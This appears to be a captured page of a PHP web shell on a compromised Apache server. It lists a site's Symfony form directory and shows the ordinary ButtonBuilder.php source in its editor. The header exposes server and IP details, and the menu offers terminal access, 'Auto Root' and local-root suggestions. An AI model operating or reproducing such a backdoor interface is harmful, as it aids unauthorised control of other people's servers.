Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
vendor /
symfony /
form /
Delete
Unzip
Name
Size
Permission
Date
Action
ChoiceList
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Command
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Console
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
DependencyInjection
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Event
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Exception
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Extension
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Guess
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Resources
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Test
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Util
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
AbstractExtension.php
4.46
KB
-rwxrwxr-x
2026-03-13 14:59
AbstractRendererEngine.php
7.79
KB
-rwxrwxr-x
2026-03-13 14:59
AbstractType.php
1.3
KB
-rwxrwxr-x
2026-03-13 14:59
AbstractTypeExtension.php
970
B
-rwxrwxr-x
2026-03-13 14:59
Button.php
7.93
KB
-rwxrwxr-x
2026-03-13 14:59
ButtonBuilder.php
15.71
KB
-rwxrwxr-x
2026-03-13 14:59
ButtonTypeInterface.php
462
B
-rwxrwxr-x
2026-03-13 14:59
CHANGELOG.md
32.58
KB
-rwxrwxr-x
2026-03-13 14:59
CallbackTransformer.php
832
B
-rwxrwxr-x
2026-03-13 14:59
ClearableErrorsInterface.php
648
B
-rwxrwxr-x
2026-03-13 14:59
ClickableInterface.php
501
B
-rwxrwxr-x
2026-03-13 14:59
DataAccessorInterface.php
1.57
KB
-rwxrwxr-x
2026-03-13 14:59
DataMapperInterface.php
2.47
KB
-rwxrwxr-x
2026-03-13 14:59
DataTransformerInterface.php
3.89
KB
-rwxrwxr-x
2026-03-13 14:59
FileUploadError.php
338
B
-rwxrwxr-x
2026-03-13 14:59
Form.php
36.11
KB
-rwxrwxr-x
2026-03-13 14:59
FormBuilder.php
6.85
KB
-rwxrwxr-x
2026-03-13 14:59
FormBuilderInterface.php
1.86
KB
-rwxrwxr-x
2026-03-13 14:59
FormConfigBuilder.php
18.16
KB
-rwxrwxr-x
2026-03-13 14:59
FormConfigBuilderInterface.php
7.15
KB
-rwxrwxr-x
2026-03-13 14:59
FormConfigInterface.php
5.13
KB
-rwxrwxr-x
2026-03-13 14:59
FormError.php
3.14
KB
-rwxrwxr-x
2026-03-13 14:59
FormErrorIterator.php
7.39
KB
-rwxrwxr-x
2026-03-13 14:59
FormEvent.php
1.05
KB
-rwxrwxr-x
2026-03-13 14:59
FormEvents.php
4.02
KB
-rwxrwxr-x
2026-03-13 14:59
FormExtensionInterface.php
1.4
KB
-rwxrwxr-x
2026-03-13 14:59
FormFactory.php
3.76
KB
-rwxrwxr-x
2026-03-13 14:59
FormFactoryBuilder.php
3.85
KB
-rwxrwxr-x
2026-03-13 14:59
FormFactoryBuilderInterface.php
2.35
KB
-rwxrwxr-x
2026-03-13 14:59
FormFactoryInterface.php
3.06
KB
-rwxrwxr-x
2026-03-13 14:59
FormInterface.php
9.26
KB
-rwxrwxr-x
2026-03-13 14:59
FormRegistry.php
4.57
KB
-rwxrwxr-x
2026-03-13 14:59
FormRegistryInterface.php
1.13
KB
-rwxrwxr-x
2026-03-13 14:59
FormRenderer.php
11.84
KB
-rwxrwxr-x
2026-03-13 14:59
FormRendererEngineInterface.php
6.11
KB
-rwxrwxr-x
2026-03-13 14:59
FormRendererInterface.php
3
KB
-rwxrwxr-x
2026-03-13 14:59
FormTypeExtensionInterface.php
1.71
KB
-rwxrwxr-x
2026-03-13 14:59
FormTypeGuesserChain.php
2.55
KB
-rwxrwxr-x
2026-03-13 14:59
FormTypeGuesserInterface.php
1.09
KB
-rwxrwxr-x
2026-03-13 14:59
FormTypeInterface.php
2.89
KB
-rwxrwxr-x
2026-03-13 14:59
FormView.php
3.46
KB
-rwxrwxr-x
2026-03-13 14:59
Forms.php
2.73
KB
-rwxrwxr-x
2026-03-13 14:59
LICENSE
1.04
KB
-rwxrwxr-x
2026-03-13 14:59
NativeRequestHandler.php
7.33
KB
-rwxrwxr-x
2026-03-13 14:59
PreloadedExtension.php
1.97
KB
-rwxrwxr-x
2026-03-13 14:59
README.md
483
B
-rwxrwxr-x
2026-03-13 14:59
RequestHandlerInterface.php
705
B
-rwxrwxr-x
2026-03-13 14:59
ResolvedFormType.php
5.32
KB
-rwxrwxr-x
2026-03-13 14:59
ResolvedFormTypeFactory.php
649
B
-rwxrwxr-x
2026-03-13 14:59
ResolvedFormTypeFactoryInterface.php
1.15
KB
-rwxrwxr-x
2026-03-13 14:59
ResolvedFormTypeInterface.php
2.17
KB
-rwxrwxr-x
2026-03-13 14:59
ReversedTransformer.php
1008
B
-rwxrwxr-x
2026-03-13 14:59
SubmitButton.php
1.07
KB
-rwxrwxr-x
2026-03-13 14:59
SubmitButtonBuilder.php
592
B
-rwxrwxr-x
2026-03-13 14:59
SubmitButtonTypeInterface.php
474
B
-rwxrwxr-x
2026-03-13 14:59
composer.json
2.25
KB
-rwxrwxr-x
2026-03-13 14:59
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Form; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\Form\Exception\BadMethodCallException; use Symfony\Component\Form\Exception\InvalidArgumentException; use Symfony\Component\PropertyAccess\PropertyPathInterface; /** * A builder for {@link Button} instances. * * @author Bernhard Schussek <bschussek@gmail.com> * * @implements \IteratorAggregate<string, FormBuilderInterface> */ class ButtonBuilder implements \IteratorAggregate, FormBuilderInterface { protected $locked = false; private bool $disabled = false; private ResolvedFormTypeInterface $type; private string $name; private array $attributes = []; private array $options; /** * @throws InvalidArgumentException if the name is empty */ public function __construct(?string $name, array $options = []) { if ('' === $name || null === $name) { throw new InvalidArgumentException('Buttons cannot have empty names.'); } $this->name = $name; $this->options = $options; FormConfigBuilder::validateName($name); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function add(string|FormBuilderInterface $child, ?string $type = null, array $options = []): static { throw new BadMethodCallException('Buttons cannot have children.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function create(string $name, ?string $type = null, array $options = []): FormBuilderInterface { throw new BadMethodCallException('Buttons cannot have children.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function get(string $name): FormBuilderInterface { throw new BadMethodCallException('Buttons cannot have children.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function remove(string $name): static { throw new BadMethodCallException('Buttons cannot have children.'); } /** * Unsupported method. */ public function has(string $name): bool { return false; } /** * Returns the children. */ public function all(): array { return []; } /** * Creates the button. */ public function getForm(): Button { return new Button($this->getFormConfig()); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function addEventListener(string $eventName, callable $listener, int $priority = 0): static { throw new BadMethodCallException('Buttons do not support event listeners.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function addEventSubscriber(EventSubscriberInterface $subscriber): static { throw new BadMethodCallException('Buttons do not support event subscribers.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function addViewTransformer(DataTransformerInterface $viewTransformer, bool $forcePrepend = false): static { throw new BadMethodCallException('Buttons do not support data transformers.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function resetViewTransformers(): static { throw new BadMethodCallException('Buttons do not support data transformers.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function addModelTransformer(DataTransformerInterface $modelTransformer, bool $forceAppend = false): static { throw new BadMethodCallException('Buttons do not support data transformers.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function resetModelTransformers(): static { throw new BadMethodCallException('Buttons do not support data transformers.'); } /** * @return $this */ public function setAttribute(string $name, mixed $value): static { $this->attributes[$name] = $value; return $this; } /** * @return $this */ public function setAttributes(array $attributes): static { $this->attributes = $attributes; return $this; } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setDataMapper(?DataMapperInterface $dataMapper = null): static { if (1 > \func_num_args()) { trigger_deprecation('symfony/form', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } throw new BadMethodCallException('Buttons do not support data mappers.'); } /** * Set whether the button is disabled. * * @return $this */ public function setDisabled(bool $disabled): static { $this->disabled = $disabled; return $this; } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setEmptyData(mixed $emptyData): static { throw new BadMethodCallException('Buttons do not support empty data.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setErrorBubbling(bool $errorBubbling): static { throw new BadMethodCallException('Buttons do not support error bubbling.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setRequired(bool $required): static { throw new BadMethodCallException('Buttons cannot be required.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setPropertyPath(string|PropertyPathInterface|null $propertyPath): static { throw new BadMethodCallException('Buttons do not support property paths.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setMapped(bool $mapped): static { throw new BadMethodCallException('Buttons do not support data mapping.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setByReference(bool $byReference): static { throw new BadMethodCallException('Buttons do not support data mapping.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setCompound(bool $compound): static { throw new BadMethodCallException('Buttons cannot be compound.'); } /** * Sets the type of the button. * * @return $this */ public function setType(ResolvedFormTypeInterface $type): static { $this->type = $type; return $this; } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setData(mixed $data): static { throw new BadMethodCallException('Buttons do not support data.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setDataLocked(bool $locked): static { throw new BadMethodCallException('Buttons do not support data locking.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setFormFactory(FormFactoryInterface $formFactory) { throw new BadMethodCallException('Buttons do not support form factories.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setAction(string $action): static { throw new BadMethodCallException('Buttons do not support actions.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setMethod(string $method): static { throw new BadMethodCallException('Buttons do not support methods.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setRequestHandler(RequestHandlerInterface $requestHandler): static { throw new BadMethodCallException('Buttons do not support request handlers.'); } /** * Unsupported method. * * @return $this * * @throws BadMethodCallException */ public function setAutoInitialize(bool $initialize): static { if (true === $initialize) { throw new BadMethodCallException('Buttons do not support automatic initialization.'); } return $this; } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setInheritData(bool $inheritData): static { throw new BadMethodCallException('Buttons do not support data inheritance.'); } /** * Builds and returns the button configuration. */ public function getFormConfig(): FormConfigInterface { // This method should be idempotent, so clone the builder $config = clone $this; $config->locked = true; return $config; } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function setIsEmptyCallback(?callable $isEmptyCallback): static { throw new BadMethodCallException('Buttons do not support "is empty" callback.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function getEventDispatcher(): EventDispatcherInterface { throw new BadMethodCallException('Buttons do not support event dispatching.'); } public function getName(): string { return $this->name; } /** * Unsupported method. */ public function getPropertyPath(): ?PropertyPathInterface { return null; } /** * Unsupported method. */ public function getMapped(): bool { return false; } /** * Unsupported method. */ public function getByReference(): bool { return false; } /** * Unsupported method. */ public function getCompound(): bool { return false; } /** * Returns the form type used to construct the button. */ public function getType(): ResolvedFormTypeInterface { return $this->type; } /** * Unsupported method. */ public function getViewTransformers(): array { return []; } /** * Unsupported method. */ public function getModelTransformers(): array { return []; } /** * Unsupported method. */ public function getDataMapper(): ?DataMapperInterface { return null; } /** * Unsupported method. */ public function getRequired(): bool { return false; } /** * Returns whether the button is disabled. */ public function getDisabled(): bool { return $this->disabled; } /** * Unsupported method. */ public function getErrorBubbling(): bool { return false; } /** * Unsupported method. */ public function getEmptyData(): mixed { return null; } /** * Returns additional attributes of the button. */ public function getAttributes(): array { return $this->attributes; } /** * Returns whether the attribute with the given name exists. */ public function hasAttribute(string $name): bool { return \array_key_exists($name, $this->attributes); } /** * Returns the value of the given attribute. */ public function getAttribute(string $name, mixed $default = null): mixed { return \array_key_exists($name, $this->attributes) ? $this->attributes[$name] : $default; } /** * Unsupported method. */ public function getData(): mixed { return null; } /** * Unsupported method. */ public function getDataClass(): ?string { return null; } /** * Unsupported method. */ public function getDataLocked(): bool { return false; } /** * Unsupported method. * * @return never */ public function getFormFactory(): FormFactoryInterface { throw new BadMethodCallException('Buttons do not support adding children.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function getAction(): string { throw new BadMethodCallException('Buttons do not support actions.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function getMethod(): string { throw new BadMethodCallException('Buttons do not support methods.'); } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function getRequestHandler(): RequestHandlerInterface { throw new BadMethodCallException('Buttons do not support request handlers.'); } /** * Unsupported method. */ public function getAutoInitialize(): bool { return false; } /** * Unsupported method. */ public function getInheritData(): bool { return false; } /** * Returns all options passed during the construction of the button. */ public function getOptions(): array { return $this->options; } /** * Returns whether a specific option exists. */ public function hasOption(string $name): bool { return \array_key_exists($name, $this->options); } /** * Returns the value of a specific option. */ public function getOption(string $name, mixed $default = null): mixed { return \array_key_exists($name, $this->options) ? $this->options[$name] : $default; } /** * Unsupported method. * * @return never * * @throws BadMethodCallException */ public function getIsEmptyCallback(): ?callable { throw new BadMethodCallException('Buttons do not support "is empty" callback.'); } /** * Unsupported method. */ public function count(): int { return 0; } /** * Unsupported method. */ public function getIterator(): \EmptyIterator { return new \EmptyIterator(); } }